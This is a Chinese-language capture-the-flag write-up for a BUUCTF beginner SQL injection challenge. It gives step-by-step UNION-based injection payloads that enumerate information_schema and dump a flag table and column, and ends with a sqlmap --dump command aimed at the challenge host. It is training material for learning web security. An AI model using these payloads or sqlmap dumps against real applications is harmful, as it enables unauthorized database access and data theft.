[第一章 web入门]SQL注入-1 题目分析与详解

简介: [第一章 web入门]SQL注入-1 题目分析与详解

一、题目简介

题目来源:BUUCTF网址

题目介绍如图:获取flag值。


二、解题思路:

首先看到题目主页面有一段文字,貌似没有什么作用,我们先使用HackBar导入URL。

我们发现?id=1,可知这是一个很基础的SQL注入题目,我们首先要进行注入类型的判断,判断本次SQL注入是字符型注入还是数字型注入。

我们首先判断是否位数字型注入。

?id=1 and 1=2

假设注入就是数字型注入,那么此时后端语句变成了 select * from users where id = 1 and 1=2;那么页面应该显示报错,可是提交后发现,页面保持不变,由此可以断定,本次注入不是数字型注入。

既然我们已经判断出其不是数字型注入,那么就是字符型注入,我们就需要判断其闭合类型是什么。首先尝试单引号闭合。

?id=1' and 1=2--+

假设闭合方式就是单引号,那么后端语句即为:

select * from users where id='1' and 1=2 --+';

那么页面同样应该显示报错信息,我们进行提交看看:

果然页面信息不显示了,这就正好说明本次字符型注入的闭合方式为 单引号闭合。

清楚闭合方式之后,我们就要判断字段数的数量--通过order by number来解决。

?id=1' order by + 字段数 --+

当我们判断字段数为3时:

当我们判断字段数为4时:

我们发现字段数为3时显示正常,而为4时页面发生了变化,说明字段数为3。然后进行查询回显位,只有找到回显位,才能让flag在回显位上被我们看到。

?id=-1' union select 1,2,3--+

回显位如图所示:

发现回显位之后,进行爆表就可以了。

首先查询数据库中的表名:

union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=database()--+

我们发现数据库中存在两张表,其中一张表叫做fl4g,我们大胆猜想flag就在表fl4g中。

于是我们就查询表fl4g中的列名。

union select 1,database(),group_concat(column_name)from information_schema.columns where table_name='fl4g'--+

我们发现一个名叫作 fllllag的列,flag值很有可能就在fllllag中,我们查询fllllag中的内容。

union select 1,database(),group_concat(fllllag)from fl4g--+

我们看到成功获取了flag的值,提交---通过。


sqlmap解法:

我们也可以使用工具 sqlmap来解决这道题目。

sqlmap -u http://5e77ef3c-a640-4be4-ad44-c836aa77ead7.node5.buuoj.cn:81/index.php?id=1 -D note -T fl4g -C fllllag --dump --batch

相关文章
|
1月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
91 1
|
1月前
|
SQL 存储 数据可视化
手机短信SQL分析技巧与方法
在手机短信应用中,SQL分析扮演着至关重要的角色
|
1月前
|
前端开发 JavaScript 开发者
探索现代Web前端技术:React框架入门
【10月更文挑战第9天】 探索现代Web前端技术:React框架入门
|
1月前
|
SQL 存储 数据管理
SQL数据库的使用指南:从入门到精通
随着信息技术的飞速发展,数据库已成为各类企业和组织不可或缺的一部分。作为最流行的数据库管理系统之一,SQL数据库广泛应用于各种场景,如数据存储、数据管理、数据分析等。本文将详细介绍SQL数据库的使用方法,帮助初学者快速入门,并帮助有经验的开发者深化理解。一、SQL数据库基础首先,我们需要理解SQL数
113 2
|
1月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
27天前
|
SQL 数据库
SQL数据库基础语法入门
[link](http://www.vvo.net.cn/post/082935.html)
|
2月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
153 8
|
2月前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
133 3
|
1月前
|
网络协议 安全 JavaScript
Web实时通信的学习之旅:WebSocket入门指南及示例演示
Web实时通信的学习之旅:WebSocket入门指南及示例演示
132 0
|
1月前
|
Web App开发 Java 测试技术
一、自动化:web自动化。Selenium 入门指南:从安装到实践
一、自动化:web自动化。Selenium 入门指南:从安装到实践
42 0